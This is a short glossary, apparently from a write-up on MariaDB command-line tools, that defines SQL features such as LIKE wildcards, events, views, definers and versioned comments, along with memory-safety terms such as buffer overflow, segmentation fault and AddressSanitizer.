# comment: in SQL, # starts a comment that runs to the end of the line.
LIKE: a SQL operator for pattern matching, where % matches any run of characters and _ matches one character.
Wildcard: a character that stands for other characters in a pattern.
Storage engine: the part of a database that decides how rows are stored on disk, such as MyISAM or InnoDB.
Foreign server: a named connection to another database, defined with CREATE SERVER.
Event: a scheduled task stored in the database that runs SQL at a set time.
Delimiter: a marker string used to separate statements in a script.
Buffer: a fixed-size area of memory reserved for data.
Buffer overflow: writing more data into a buffer than it can hold, spilling into neighbouring memory.
Stack: the area of memory where a program keeps short-lived local variables such as fixed buffers.
Pointer: a value that refers to a location in memory.
NULL: a special value meaning "nothing" or "no pointer".
argv / argc: the list of command line arguments and the count of them.
Segmentation fault: the operating system killing a program because it accessed memory it was not allowed to.
Denial of service (DoS): making a program or service unusable, here by hanging or crashing it.
ASAN (AddressSanitizer): a build option that detects memory errors such as overflows.
View: a saved query that behaves like a table.
Definer: the database account that owns a view or event.
FILE privilege: a database permission that allows reading and writing files on the server.
mysql.user: the system table that holds database accounts and their hosts.
Versioned comment: a comment such as /*!50106 ... */ or /*M!100203 ... */ whose contents run only on a sufficiently new server version.
MyISAM / InnoDB: two storage engines available in MariaDB.
--count, --verbose, --events, --system, --replace, --lock-tables: command line options of the tools described above.